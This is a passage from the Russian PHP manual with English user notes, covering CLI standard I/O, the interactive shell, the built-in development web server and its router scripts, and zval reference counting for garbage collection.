// This only works under CLI in Linux
// Note: Until we have closed it STDOUT will NOT be prefixed with a $

// Get the path to the current console for STDOUT so we can reconnect later!
    $strOldSTDOUT=(posix_ttyname(STDOUT));

    echo("This will go to the current console\r\n");
// Close the STDOUT resource
    fclose(STDOUT);

// Reopen $STDOUT as a file     Note: All further $STDOUT usage will be prefixed with a $
    $STDOUT=fopen("/tmp/php_stdout.txt","a");  /
    echo("This should append the file /tmp/php_stdout.txt\r\n");
// Close stdout again so we can reconnect the console. Note: We are still using
    fclose($STDOUT);

// Use the path to the console we got earlier
    $STDOUT=fopen($strOldSTDOUT,"r+");
    echo("And we are back on the console\r\n");

?>
phil_php at zieaon dot com 08-Aug-2018 07:38
The command line interface data in STDIN is not made available until return is pressed.
By adding "readline_callback_handler_install('', function(){});" before reading STDIN for the first time single key presses can be captured.

Note: This only seems to work under Linux CLI and will not work in Apache or Windows CLI.

This cam be used to obscure a password or used with 'stream_select' to make a non blocking keyboard monitor.

<?php

// Demo WITHOUT readline_callback_handler_install('', function(){});
    $resSTDIN=fopen("php://stdin","r");
    echo("Type 'x'. Then press return.");
    $strChar = stream_get_contents($resSTDIN, 1);

    echo("\nYou typed: ".$strChar."\n\n");
    fclose($resSTDIN);

// Demo WITH readline_callback_handler_install('', function(){});
// This line removes the wait for <CR> on STDIN
    readline_callback_handler_install('', function(){});

    $resSTDIN=fopen("php://stdin","r");
    echo("We have now run: readline_callback_handler_install('', function(){});\n");
    echo("Press the 'y' key");
    $strChar = stream_get_contents($resSTDIN, 1);
    echo("\nYou pressed: ".$strChar."\nBut did not have to press <cr>\n");
    fclose($resSTDIN);
    readline_callback_handler_remove ();
    echo("\nGoodbye\n")
?>

It also hides text from the CLI so can be used for things like. password obscurification.
eg

<?php
    readline_callback_handler_install('', function(){});
    echo("Enter password followed by return. (Do not use a real one!)\n");
    echo("Password: ");
    $strObscured='';
    while(true)
    {
    $strChar = stream_get_contents(STDIN, 1);
    if($strChar===chr(10))
    {
        break;
    }
    $strObscured.=$strChar;
    echo("*");
    }
    echo("\n");
    echo("You entered: ".$strObscured."\n");
?>
ayon at hyurl dot com 21-Feb-2017 12:23
I find a BUG with the constant STDIN, I don't know if it si the Enter/Return key that make this proprem, when I use trim(fgets(STDIN)), that doesn't trim anything, when I detect the length of fgets(STDIN), in windows, it is 2 characters longer than what I input, in Linux, it makes 1. I tried to trim(fgets(STDIN), ' \r\n'), but it still does not work.
So I have to substr the input manually, it seems like this way:
<?php
$STDIN = trim(substr(fgets(STDIN), 0, (PHP_OS == 'WINNT' ? 2 : 1)));
?>
then I get what I want really.
ecrist at secure-computing dot net 27-Jul-2011 08:15
The following code shows how to test for input on STDIN.  In this case, we were looking for CSV data, so we use fgetcsv to read STDIN, if it creates an array, we assume CVS input on STDIN, if no array was created, we assume there's no input from STDIN, and look, later, to an argument with a CSV file name.

Note, without the stream_set_blocking() call, fgetcsv() hangs on STDIN, awaiting input from the user, which isn't useful as we're looking for a piped file. If it isn't here already, it isn't going to be.

<?php
stream_set_blocking(STDIN, 0);
$csv_ar = fgetcsv(STDIN);
if (is_array($csv_ar)){
  print "CVS on STDIN\n";
} else {
  print "Look to ARGV for CSV file name.\n";
}
?>
Aurelien Marchand 04-Mar-2011 08:10
Please remember in multi-process applications (which are best suited under CLI), that I/O operations often will BLOCK signals from being processed.

For instance, if you have a parent waiting on fread(STDIN), it won't handle SIGCHLD, even if you defined a signal handler for it, until after the call to fread has returned.

Your solution in this case is to wait on stream_select() to find out whether reading will block. Waiting on stream_select(), critically, does NOT BLOCK signals from being processed.

Aurelien


Интерактивная консоль

Модуль CLI SAPI предоставляет интерактивную консоль, используя опцию -a, если PHP был скомпилирован с опцией --with-readline. Начиная с PHP PHP 7.1.0, интерактивная консоль также доступна на Windows, если модуль readline включён.

Используя интерактивную консоль, можно ввести и выполнить непосредственно PHP-код.

Пример #1 Запуск кода в интерактивной консоли

$ php -a
Interactive shell

php > echo 5+8;
13
php > function addTwo($n)
php > {
php { return $n + 2;
php { }
php > var_dump(addtwo(2));
int(4)
php >

Интерактивная консоль также автодополняет (с помощью клавиши Tab) имена функций, констант, классов, переменных, вызовы статических методов и константы классов.

Пример #2 Автодополнение по Tab

Двойное нажатие клавиши Tab при наличии нескольких вариантов дополнения покажет список этих вариантов:

php > strp[TAB][TAB]
strpbrk   strpos    strptime
php > strp

Когда есть только одно дополнение, одиночное нажатие Tab дополнит оставшийся текст на той же самой строке:

php > strpt[TAB]ime(

Дополнение также работает для имён, которые были объявлены в течение данной интерактивной сессии:

php > $fooThisIsAReallyLongVariableName = 42;
php > $foo[TAB]ThisIsAReallyLongVariableName

Интерактивная консоль хранит историю команд, для доступа к которой можно использовать стрелки вверх и вниз. История хранится в файле ~/.php_history.

Модуль CLI SAPI предоставляет две новые настройки в php.ini: cli.pager и cli.prompt. Настройка cli.pager позволяет использовать внешнюю программу (такую как less) для постраничного просмотра данных вместо их прямого вывода на экран. Настройка cli.prompt позволяет задавать приглашение php > на ввод команды.

Также можно устанавливать настройки php.ini в интерактивной консоли, используя специальное сокращение.

Пример #3 Установка настройки php.ini в интерактивной консоли

Настройка cli.prompt:

php > #cli.prompt=hello world :>
hello world :>

Используя обратные апострофы можно задать PHP-код, который выполнится в приглашении на ввод команды:

php > #cli.prompt=`echo date('H:i:s');` php >
15:49:35 php > echo 'hi';
hi
15:49:43 php > sleep(2);
15:49:45 php >

Установка less для постраничного вывода данных:

php > #cli.pager=less
php > phpinfo();
(output displayed in less)
php >

Настройка cli.prompt поддерживает несколько управляющих последовательностей:

Управляющие последовательности cli.prompt
Управляющая последовательность | Описание
\e | Используется для добавления цветов в приглашение на ввод команды. Пример: \e[032m\v \e[031m\b \e[34m\> \e[0m
\v | Версия PHP.
\b | Отображает в какой части PHP мы находимся. Для примера /* показывает, что мы находимся в многострочном комментарии. Внешняя область видимости обозначается как php.
\> | Указывает символ приглашения. По умолчанию это символ >, но можно изменить, когда оболочка находится внутри незакрытого блока или строки. Возможные символы: ' " { ( >

Замечание:

Файлы, подключённые с помощью опций auto_prepend_file и auto_append_file обрабатываются в этом режиме с некоторыми ограничениями, например, функции должны быть объявлены до их использования.

Интерактивный режим

Если модуль readline недоступен, то до PHP 8.1.0 вызов файла CLI SAPI с параметром -a обеспечивал интерактивный режим. В этом режиме предполагается, что полный скрипт PHP передаётся через STDIN, а после завершения скрипт оценивается с помощью CRTL+d (POSIX) или CTRL+z с последующим ENTER (Windows). По сути это то же самое, что и вызов CLI SAPI без параметра -a. option.

Начиная с PHP 8.1.0, вызов CLI SAPI с параметром -a завершается ошибкой, если модуль readline недоступен.

User Contributed Notes

Gray 02-Jan-2020 11:53
When adding colours, don't forget that PHP uses the same 'readline' as Bash does, so it has the same need to wrap all colour codes in special marker characters.

If you simply add raw colour codes to the prompt, you will notice that long lines no longer get wrapped correctly -- Readline no longer knows how wide the prompt is.

To fix this, you need to start each colour code with an '0x01' byte (aka Ctrl-A aka SOH) and end it with the '0x02' byte (aka Ctrl-B aka STX). There are no escapes for these -- you have to literally put the control characters in your php-cli.ini.

For example:

<?php

// cli.prompt = <SOH>\e[1m<STX> PHP! \> <SOH>\e[m<STX>

echo "cli.prompt = \x01\\e[1m\x02 PHP! \x01\\e[m\x02\n";
?>
John 13-Mar-2018 12:54
If you delete your "~/.php_history", you MUST re-create the file manually!

Because after I deleted my history file, "php -a" (interactive mode) never saved any history anymore.

It only started working after I ran "touch ~/.php_history" to create an empty file. From then on, PHP is saving history again!

I thought this was a bit unusual. Normally, applications recreate their history files themselves. But just be aware of the fact that PHP works this way instead, guys and girls! :-)
#linuxmint-es 06-Sep-2017 02:50
For use interactive mode enabled on GNU/Linux on distros Debian/Ubuntu/LinuxMint you must install "php*-cli" and "php*-readline" packages from official repository.
Example:
 >$sudo aptitude install php5-cli php5-readline

After that you can use interactive mode.
Example:
~ $ php -a
Interactive mode enabled

php >echo "hola mundo!\n";
hola mundo!
php >

I hope somebody help it!
Ryan P 21-Mar-2012 10:03
Interactive Shell and Interactive Mode are not the same thing, despite the similar names and functionality.

If you type 'php -a' and get a response of 'Interactive Shell' followed by a 'php>' prompt, you have interactive shell available (PHP was compiled with readline support). If instead you get a response of 'Interactive mode enabled', you DO NOT have interactive shell available and this article does not apply to you.

You can also check 'php -m' and see if readline is listed in the output - if not, you don't have interactive shell.

Interactive mode is essentially like running php with stdin as the file input. You just type code, and when you're done (Ctrl-D), php executes whatever you typed as if it were a normal PHP (PHTML) file - hence you start in interactive mode with '<?php' in order to execute code.

Interactive shell evaluates every expression as you complete it (with ; or }), reports errors without terminating execution, and supports standard shell functionality via readline (history, tab completion, etc). It's an enhanced version of interactive mode that is ONLY available if you have the required libraries, and is an actual PHP shell that interprets everything you type as PHP code - using '<?php' will cause a parse error.

Finally, if you're running on Windows, you're probably screwed. From what I'm seeing in other comments here, you don't have readline, and without readline there is no interactive shell.
spencer at aninternetpresence dot net 09-Sep-2011 10:45
In Windows, press Enter after your ending PHP tag and then hit Ctrl-Z to denote the end-of-file:

C:\>php -a
Interactive mode enabled

<?php
echo "Hello, world!";
?>
^Z
Hello, world!

You can use the up and down arrows in interactive mode to recall previous code you ran.
Anonymous 20-Jun-2010 12:56
Just a few more notes to add...

1) Hitting return does literally mean "execute this command".  Semicolon to note end of line is still required.  Meaning, doing the following will produce a parse error:

php > print "test"
php > print "asdf";

Whereas doing the following is just fine:

php > print "test"
php > ."asdf";

2) Fatal errors may eject you from the shell:

name@local:~$ php -a
php > asdf();

Fatal Error: call to undefined function...
name@local:~$

3) User defined functions are not saved in history from shell session to shell session.

4) Should be obvious, but to quit the shell, just type "quit" at the php prompt.

5) In a sense, the shell interaction can be thought of as linearly following a regular php file, except it's live and dynamic.  If you define a function that you've already defined earlier in your current shell, you will receive a fatal "function already defined" error only upon entering that closing bracket.  And, although "including" a toolset of custom functions or a couple of script addon php files is rather handy, should you edit those files and wish to "reinclude" it again, you'll cause a fatal "function x already defined" error.


Встроенный веб-сервер

Внимание

Веб-сервер предназначен для помощи в разработке приложений. Он также может быть полезным в тестовых целях или для демонстрации приложения, запускаемого в полностью контролируемом окружении. Он не выполняет функции полноценного веб-сервера и не должен использоваться в общедоступных сетях.

Модуль CLI SAPI содержит встроенный веб-сервер.

Веб-сервер выполняет только один однопоточный процесс, поэтому приложения PHP будут останавливаться, если запрос заблокирован.

URI запросы обслуживаются из текущей директории, в которой был запущен PHP, если не используется опция -t для явного указания корневого документа. Если URI запроса не указывает на определённый файл, то будет возвращён index.php или index.html в указанной директории. Если ни один из файлов не существует, то поиск этих файлов будет продолжен в родительской директории и так далее до тех пор, пока они не будут найдены или был достигнут корень документа. Если найден index.php или index.html, он возвращается, а в $_SERVER['PATH_INFO'] будет находится последняя часть URL. В противном случае возвращается 404 код ответа.

Если PHP-файл указывается в командной строке, когда запускается веб-сервер, то он рассматривается как скрипт "маршрутизации" (router). Скрипт выполняется в самом начале каждого HTTP-запроса. Если этот скрипт возвращает false, то запрашиваемый ресурс возвращается как есть. В противном случае браузеру будет возвращён вывод этого скрипта.

Стандартные MIME-типы возвращаются для файлов со следующими расширениями: .3gp, .apk, .avi, .bmp, .css, .csv, .doc, .docx, .flac, .gif, .gz, .gzip, .htm, .html, .ics, .jpe, .jpeg, .jpg, .js, .kml, .kmz, .m4a, .mov, .mp3, .mp4, .mpeg, .mpg, .odp, .ods, .odt, .oga, .ogg, .ogv, .pdf, .pdf, .png, .pps, .pptx, .qt, .svg, .swf, .tar, .text, .tif, .txt, .wav, .webm, .wmv, .xls, .xlsx, .xml, .xsl, .xsd и .zip.

История правок: Поддерживаемые MIME-типы (расширения файлов)
Версия | Описание
5.5.12 | .xml, .xsl, и .xsd
5.5.7 | .3gp, .apk, .avi, .bmp, .csv, .doc, .docx, .flac, .gz, .gzip, .ics, .kml, .kmz, .m4a, .mp3, .mp4, .mpg, .mpeg, .mov, .odp, .ods, .odt, .oga, .pdf, .pptx, .pps, .qt, .swf, .tar, .text, .tif, .wav, .wmv, .xls, .xlsx и .zip
5.5.5 | .pdf
5.4.11 | .ogg, .ogv, и .webm
5.4.4 | .htm и .svg
История изменений
Версия | Описание
7.4.0 | Вы можете настроить встроенный веб-сервер так, чтобы он выполнял разветвление нескольких воркеров для проверки кода, который требует нескольких одновременных запросов к встроенному веб-серверу. Задайте в переменной окружения PHP_CLI_SERVER_WORKERS количество требуемых воркеров перед запуском сервера. Не поддерживается в Windows. Внимание Эта экспериментальная функция не предназначена для продакшен использования. Обычно встроенный веб-сервер не предназначен для продакшен использования.

Пример #1 Запуск веб-сервера

$ cd ~/public_html
$ php -S localhost:8000

В консоли выведется:

PHP 5.4.0 Development Server started at Thu Jul 21 10:43:28 2011
Listening on localhost:8000
Document root is /home/me/public_html
Press Ctrl-C to quit

После URI-запросов http://localhost:8000/ и http://localhost:8000/myscript.html в консоли выведется примерно следующее:

PHP 5.4.0 Development Server started at Thu Jul 21 10:43:28 2011
Listening on localhost:8000
Document root is /home/me/public_html
Press Ctrl-C to quit.
[Thu Jul 21 10:48:48 2011] ::1:39144 GET /favicon.ico - Request read
[Thu Jul 21 10:48:50 2011] ::1:39146 GET / - Request read
[Thu Jul 21 10:48:50 2011] ::1:39147 GET /favicon.ico - Request read
[Thu Jul 21 10:48:52 2011] ::1:39148 GET /myscript.html - Request read
[Thu Jul 21 10:48:52 2011] ::1:39149 GET /favicon.ico - Request read

Обратите внимание, что до PHP 7.4.0 статические ресурсы с символическими ссылками не были доступны в Windows, если только скрипт маршрутизатора не обработал бы их.

Пример #2 Запуск с указанием корневой директории

$ cd ~/public_html
$ php -S localhost:8000 -t foo/

В консоли выведется:

PHP 5.4.0 Development Server started at Thu Jul 21 10:50:26 2011
Listening on localhost:8000
Document root is /home/me/public_html/foo
Press Ctrl-C to quit

Пример #3 Использование скрипта маршрутизации

В этом примере, запросы изображений будут отображать их, но запросы HTML-файлов будут возвращать "Добро пожаловать в PHP".

<?php
// router.php
if (preg_match('/\.(?:png|jpg|jpeg|gif)$/', $_SERVER["REQUEST_URI"])) {
return false; // сервер возвращает файлы напрямую.
} else {
echo "<p>Добро пожаловать в PHP</p>";
}
?>
$ php -S localhost:8000 router.php
Внимание

Встроенный веб-сервер не должен использоваться в общедоступной сети.

Пример #4 Проверка использования веб-сервера CLI

Для совместного использования скрипта маршрутизации при разработке с веб-сервером CLI и в дальнейшем с рабочим (production) веб-сервером:

<?php
// router.php
if (php_sapi_name() == 'cli-server') {
/* Маршрутизация с заданными правилами и возврат false */
}
/* продолжение с обычными операциями index.php */
?>
$ php -S localhost:8000 router.php

Пример #5 Поддержка неподдерживаемых типов файлов

Если вам нужно обслуживать статические ресурсы с MIME-типами, неподдерживаемыми веб-сервером CLI, используйте это:

<?php
// router.php
$path = pathinfo($_SERVER["SCRIPT_FILENAME"]);
if ($path["extension"] == "el") {
header("Content-Type: text/x-script.elisp");
readfile($_SERVER["SCRIPT_FILENAME"]);
}
else {
return FALSE;
}
?>
$ php -S localhost:8000 router.php

Пример #6 Доступ к веб-серверу CLI с удалённых машин

Вы можете сделать веб-сервер доступным на 8000 порту для всех сетевых интерфейсов:

$ php -S 0.0.0.0:8000

User Contributed Notes

devoldemar 16-Dec-2023 08:06
Built-in web server uses SAPI logging subsystem. Therefore all messages are written to standard error, and not to standard output stream.
If you want to save server logs into a file, the following command will work:
php -S 0.0.0.0:80 2>&1 | tee out.log
Anonymous 31-Mar-2021 06:33
If you have trouble with a project using both dynamic routes containing dots (giving unexpected 404 errors) and static file hosting paste this in your index.php

// Support cli server for local development
if (php_sapi_name() === 'cli-server') {
    $fileName = __DIR__.parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH);
    if (file_exists($fileName) && !is_dir($fileName)) return false;
}

Then run the internal server directly on the file:

php -S 127.0.0.1 index.php
deep at deepshah dot me 10-Jun-2020 05:37
Listen on all addresses of IPv4:
php -S 0.0.0.0:80

Listen on all addresses of IPv6:
php -S [::0]:80
sony at sony-ak dot com 08-Jan-2020 03:49
To send environment variable as long as with PHP built-in web server, type like this.

~$ MYENV=dev php -d variables_order=EGPCS -S 0.0.0.0:8000

On PHP script we can check with this code.

<?php
  echo getenv('MYENV'); // print dev
Lukas 01-Jul-2019 03:45
For serving static content like .css or .js and otherwise using a router (for me it was index.php)  this worked out of the box for me:

   php -S localhost:8000

Due to my router file was index.php. But

   php -S localhost:8000 index.php

did not work, because my static files are not served via my router.
dachund at gmail dot com 22-Dec-2017 06:17
I fiddled around with the internal webserver and had issues regarding handling static files, that do not contain a dot and a file extension.

The webserver responded with 200 without any content for files with URIs like "/testfile".

I am not certain if this is a bug, but I created a router.php that now does not use the "return false;" operation in order to pass thru the static file by the internal webserver.

Instead I use fpassthru() to do that.

In addition to that, my router.php can be configured to...
- ... have certain index files, when requesting a directory
- ... configure regex routes, so that, if the REQUEST_URI matches the regex, a certain file or directory is requested instead. (something you would do with nginx config or .htaccess ModRewrite)

Maybe someone finds this helpful.

================================

<?php

$indexFiles = ['index.html', 'index.php'];
$routes = [
  '^/api(/.*)?$' => '/index.php'
];

$requestedAbsoluteFile = dirname(__FILE__) . $_SERVER['REQUEST_URI'];

// check if the the request matches one of the defined routes
foreach ($routes as $regex => $fn)
{
  if (preg_match('%'.$regex.'%', $_SERVER['REQUEST_URI']))
  {
    $requestedAbsoluteFile = dirname(__FILE__) . $fn;
    break;
  }
}

// if request is a directory call check if index files exist
if (is_dir($requestedAbsoluteFile))
{
  foreach ($indexFiles as $filename)
  {
    $fn = $requestedAbsoluteFile.'/'.$filename;
    if (is_file($fn))
    {
      $requestedAbsoluteFile = $fn;
      break;
    }
  }
}

// if requested file does not exist or is directory => 404
if (!is_file($requestedAbsoluteFile))
{
  header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found');
  printf('"%s" does not exist', $_SERVER['REQUEST_URI']);
  return true;
}

// if requested file is'nt a php file
if (!preg_match('/\.php$/', $requestedAbsoluteFile)) {
  header('Content-Type: '.mime_content_type($requestedAbsoluteFile));
  $fh = fopen($requestedAbsoluteFile, 'r');
  fpassthru($fh);
  fclose($fh);
  return true;
}

// if requested file is php, include it
include_once $requestedAbsoluteFile;
dwingardjr at gmail dot com 09-Aug-2017 11:53
Just a note to people who also use windows 8.1, or anyone who has had this problem when running the using the PHP server CLI.

`PHP -S localhost:8000 -t /public` <-- Not going to work.

`PHP -S localhost:8000 -t public` <-- Works!

And there is something else up in the notes saying something about you can't serve a project folder and a router file. Well, actually you can! At least for me.

`PHP -S localhost:8000 router.php -t public` <-- Perhaps someone tries this and it doesn't work.

`PHP -S localhost:8000 -t public router.php` <-- Works!
gyunaev at gmail dot com 29-Jun-2017 07:16
You can also print messages to the server's STDOUT via error_log().

Also the documentation doesn't make it clear that when you use router script if a PHP file is requested and you return false, the PHP file will be served (i.e. you do not need to load and eval it manually).
eyecatchup at gmail dot com 26-May-2017 07:26
Note: The built-in web server has a file size limit. For files larger than 5 GB, it will always serve a "File not found" error page.
oan at vizrt dot com 11-Jan-2017 01:43
I painfully experienced behaviour that I can't seem to find documented here so I wanted to save everyone from repeating my mistake by giving the following heads up:

When starting php -S on a mac (in my case macOS Sierra) to host a local server, I had trouble with connecting from legacy Java.

As it turned out, if you started the php server with
"php -S localhost:80"
the server will be started with ipv6 support only!

To access it via ipv4, you need to change the start up command like so:
 "php -S 127.0.0.1:80"
which starts server in ipv4 mode only.
ohcc at 163 dot com 22-Dec-2016 07:09
$_SERVER['SERVER_ADDR'] is not defined when using php as the built-in commandline web server, so you can not use $_SERVER['SERVER_ADDR'] to detect the Server's IP address.

P.S.: This is tested on Windows with PHP 7.1 on 2016-12-22.

Below is the printed $_SERVER variable.

Array
(
    [DOCUMENT_ROOT] => E:\Programs\PHPServer\www\srv
    [REMOTE_ADDR] => 118.117.61.32
    [REMOTE_PORT] => 10865
    [SERVER_SOFTWARE] => PHP 7.1.0 Development Server
    [SERVER_PROTOCOL] => HTTP/1.1
    [SERVER_NAME] => 0.0.0.0
    [SERVER_PORT] => 8080
    [REQUEST_URI] => /
    [REQUEST_METHOD] => GET
    [SCRIPT_NAME] => /index.php
    [SCRIPT_FILENAME] => E:\Programs\PHPServer\www\srv\index.php
    [PHP_SELF] => /index.php
    [HTTP_HOST] => www.wuxiancheng.cn:8080
    [HTTP_CONNECTION] => keep-alive
    [HTTP_CACHE_CONTROL] => max-age=0
    [HTTP_UPGRADE_INSECURE_REQUESTS] => 1
    [HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
    [HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    [HTTP_DNT] => 1
    [HTTP_ACCEPT_ENCODING] => gzip, deflate, sdch
    [HTTP_ACCEPT_LANGUAGE] => zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
    [HTTP_COOKIE] => qbbs_2132_saltkey=fZ7509n5; qbbs_2132_lastvisit=1482156014; Hm_lvt_f812a4362ef73c80c4d13485d1ab3a49=1482159614; _ga=GA1.2.1594404236.1482159615; su=727vL6EEPLqjcyfJcad-za9eVYOh1i7e; Hm_lvt_6a65b0f2004e441e86ecea9c3562d997=1482232509,1482241896,1482242293,1482296586
    [REQUEST_TIME_FLOAT] => 1482390410.65625
    [REQUEST_TIME] => 1482390410
)
matthes at leuffen dot de 18-Oct-2016 01:21
To output debugging information on the command line you can write output to php://stdout:

<?php
$path = $_SERVER["SCRIPT_FILENAME"];

file_put_contents("php://stdout", "\nRequested: $path");
echo "<p>Hello World</p>";
?>
Mark Simon 07-Aug-2016 09:55
It's not mentioned directly, and may not be obvious, but you can also use this to create a virtual host. This, of course, requires the help of your hosts file.

Here are the steps:

1    /etc/hosts
    127.0.0.1    www.example.com

2    cd [root folder]
    php -S www.example.com:8000

3    Browser:
    http://www.example.com:8000/index.php

Combined with a simple SQLite database, you have a very handy testing environment.
tamas at bartatamas dot hu 13-Oct-2014 02:19
If your URI contains a dot, you'll lose the $_SERVER['PATH_INFO'] variable, when using the built-in webserver.
I wanted to write an API, and use .json ending in the URI-s, but then the framework's routing mechanism broke, and it took a lot of time to discover that the reason behind it was its router relying on $_SERVER['PATH_INFO'].

References:
https://bugs.php.net/bug.php?id=61286
jonathan at reinink dot ca 22-Jan-2014 03:26
In order to set project specific configuration options, simply add a php.ini file to your project, and then run the built-in server with this flag:

php -S localhost:8000 -c php.ini

This is especially helpful for settings that cannot be set at runtime (ini_set()).
Ivan Ferrer 10-Jul-2013 08:03
On Windows you may find useful to have a phpserver.bat file in shell:sendto with the folowing:
explorer http://localhost:8888
rem check if arg is file or dir
if exist "%~1\" (
  php -S localhost:8888 -t "%~1"
) else (
  php -S localhost:8888 -t "%~dp1"
)

then for fast web testing you only have to SendTo a file or folder to this bat and it will open your explorer and run the server.


Опции конфигурации

Опции конфигурации CLI SAPI
Имя | По умолчанию | Место изменения | Список изменений
cli_server.color | "0" | PHP_INI_ALL |

Краткое разъяснение конфигурационных директив.

cli_server.color bool

Включает поддержку цветовых кодов ANSI в выводе терминала встроенного веб-сервера.

User Contributed Notes

There are no user contributed notes for this page.


Сборка мусора

Содержание

  • Основы подсчёта ссылок
  • Сбор циклических ссылок
  • Вопросы производительности

В этом разделе описываются достоинства нового механизма сборки мусора (также называемого Garbage Collection или GC), являющегося частью PHP 5.3.

User Contributed Notes

There are no user contributed notes for this page.


Основы подсчёта ссылок

Переменная PHP хранится в контейнере, называемом "zval". Контейнер zval, помимо типа и значения переменной, также содержит два дополнительных элемента. Первый называется "is_ref" и представляет булево значение, указывающее, является переменная частью "набора ссылок" или нет. Благодаря этому элементу PHP знает как отличать обычные переменные от ссылок. Так как PHP содержит пользовательские ссылки, которые можно создать оператором &, контейнер zval также содержит внутренний механизм подсчёта ссылок для оптимизации использования памяти. Эта вторая часть дополнительной информации, называемая "refcount" (счётчик ссылок), содержит количество имён переменных (также называемых символами), которые указывают на данный контейнер zval. Все имена переменных хранятся в таблице имён, отдельной для каждой области видимости переменных. Такая область видимости существует для главного скрипта, а также для каждой функции и метода.

Контейнер zval создаётся при создании новой переменной, которой присваивается константа, например:

Пример #1 Создание нового контейнера zval

<?php
$a = "new string";
?>

В данном примере создаётся новый символ a в текущей области видимости и новый контейнер переменной с типом string и значением new string. Бит "is_ref" по умолчанию задаётся равным false, т. к. не создано ни одной пользовательской ссылки. Значение же "refcount" задаётся равным 1, т. к. только одно имя переменной указывает на данный контейнер. Обратите внимание, что ссылки (т. е. "is_ref" равно true) с "refcount" равным 1 обрабатываются так, как если бы они не были ссылками (то есть как "is_ref" было бы false). Если у вас установлен » Xdebug, то вы можете вывести эту информацию, вызвав функцию xdebug_debug_zval().

Пример #2 Вывод информации о zval

<?php
$a = "new string";
xdebug_debug_zval('a');
?>

Результат выполнения данного примера:

a: (refcount=1, is_ref=0)='new string'

Присвоение этой переменной другой увеличивает счётчик ссылок.

Пример #3 Увеличение счётчика ссылок zval

<?php
$a = "new string";
$b = $a;
xdebug_debug_zval( 'a' );
?>

Результат выполнения данного примера:

a: (refcount=2, is_ref=0)='new string'

Счётчик ссылок здесь равен 2, т. к. a и b ссылаются на один и тот же контейнер переменной. PHP достаточно умён, чтобы не копировать контейнер, пока в этом нет необходимости. Как только "refcount" станет равным нулю, контейнер уничтожается. "refcount" уменьшается на единицу при уходе переменной из области видимости (например, в конце функции) или при удалении этой переменной (например при вызове unset()).

Пример #4 Уменьшение счётчика ссылок zval

<?php
$a = "new string";
$c = $b = $a;
xdebug_debug_zval( 'a' );
$b = 42;
xdebug_debug_zval( 'a' );
unset( $c );
xdebug_debug_zval( 'a' );
?>

Результат выполнения данного примера:

a: (refcount=3, is_ref=0)='new string'
a: (refcount=2, is_ref=0)='new string'
a: (refcount=1, is_ref=0)='new string'

Если мы сейчас вызовем unset($a);, то контейнер, включая тип и значение, будет удалён из памяти.

Составные типы данных

Все несколько усложняется с составными типами данных, такими как массивы (array) и объекты (object). В отличие от скалярных (scalar) значений, массивы и объекты хранят свои свойства в собственных таблицах имён. Это значит, что следующий пример создаст сразу три zval контейнера:

Пример #5 Создание array zval

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
xdebug_debug_zval( 'a' );
?>

Результатом выполнения данного примера будет что-то подобное:

a: (refcount=1, is_ref=0)=array (
   'meaning' => (refcount=1, is_ref=0)='life',
   'number' => (refcount=1, is_ref=0)=42
)

Графически:

Контейнеры для простого массива

Результат — три контейнера: a, meaning и number. Похожие правила применяются и для увеличения и уменьшения "refcounts". Ниже мы добавляем ещё один элемент массива и устанавливаем ему значение уже существующего элемента:

Пример #6 Добавление уже существующего элемента в массив

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
$a['life'] = $a['meaning'];
xdebug_debug_zval( 'a' );
?>

Результатом выполнения данного примера будет что-то подобное:

a: (refcount=1, is_ref=0)=array (
   'meaning' => (refcount=2, is_ref=0)='life',
   'number' => (refcount=1, is_ref=0)=42,
   'life' => (refcount=2, is_ref=0)='life'
)

Графически:

Контейнеры для простого массива со ссылками

Вышеприведённый вывод Xdebug показывает, что и старый и новый элементы массива сейчас указывают на контейнер, чей "refcount" равен 2. Хотя показано два контейнера со значением 'life', на самом деле это один контейнер. Функция xdebug_debug_zval() не выводит информации об этом, но вы можете проверить это также отобразив указатели памяти.

Удаление элемента из массива происходит точно так же, как и удаление имени переменной из области видимости: уменьшается "refcount" контейнера, на который ссылается элемент массива. Опять же, при достижении "refcount" нуля, контейнер удаляется из памяти. Пример:

Пример #7 Удаление элемента из массива

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
$a['life'] = $a['meaning'];
unset( $a['meaning'], $a['number'] );
xdebug_debug_zval( 'a' );
?>

Результатом выполнения данного примера будет что-то подобное:

a: (refcount=1, is_ref=0)=array (
   'life' => (refcount=1, is_ref=0)='life'
)

Ситуация станет интереснее, если добавить массив новым элементом в самого себя. В следующем примере мы также используем оператор присваивания по ссылке, чтобы PHP не создал копию массива.

Пример #8 Добавление массива новым элементом в самого себя

<?php
$a = array( 'one' );
$a[] =& $a;
xdebug_debug_zval( 'a' );
?>

Результатом выполнения данного примера будет что-то подобное:

a: (refcount=2, is_ref=1)=array (
   0 => (refcount=1, is_ref=0)='one',
   1 => (refcount=2, is_ref=1)=...
)

Графически:

Контейнеры массива с циклическими ссылками

Можно увидеть, что переменная с массивом (a), так же как и второй элемент (1) сейчас указывают на контейнер с "refcount" равным 2. Символы "..." в выводе означают рекурсию и, в нашем случае, указывают на оригинальный массив.

Как и ранее, удаление переменной уменьшает счётчик ссылок контейнера на единицу. Если мы применим unset к переменной $a после вышеприведённого примера, то счётчик ссылок контейнера, на который указывают $a и элемент "1", изменится с "2" на "1":

Пример #9 Удаление $a

(refcount=1, is_ref=1)=array (
   0 => (refcount=1, is_ref=0)='one',
   1 => (refcount=1, is_ref=1)=...
)

Графически:

Контейнеры после удаления массива с циклическими ссылками, демонстрирующие утечку памяти

Суть проблемы

Хотя во всех областях видимости больше нет имени переменной, ссылающейся на данную структуру, она не может быть очищена, т. к. элемент массива "1" по-прежнему ссылается на этот массив. Т. к. теперь нет никакой возможности пользователю удалить эти данные, то мы получили утечку памяти. К счастью, PHP удалит эти данные при завершении запроса, но до этого момента данные будут занимать ценное место в памяти. Такая ситуация часто бывает, когда реализуются алгоритмы парсинга или другие, где есть дочерние элементы, ссылающиеся на родительские. Ещё чаще такая ситуация случается с объектами, потому что они всегда неявно используются по ссылке.

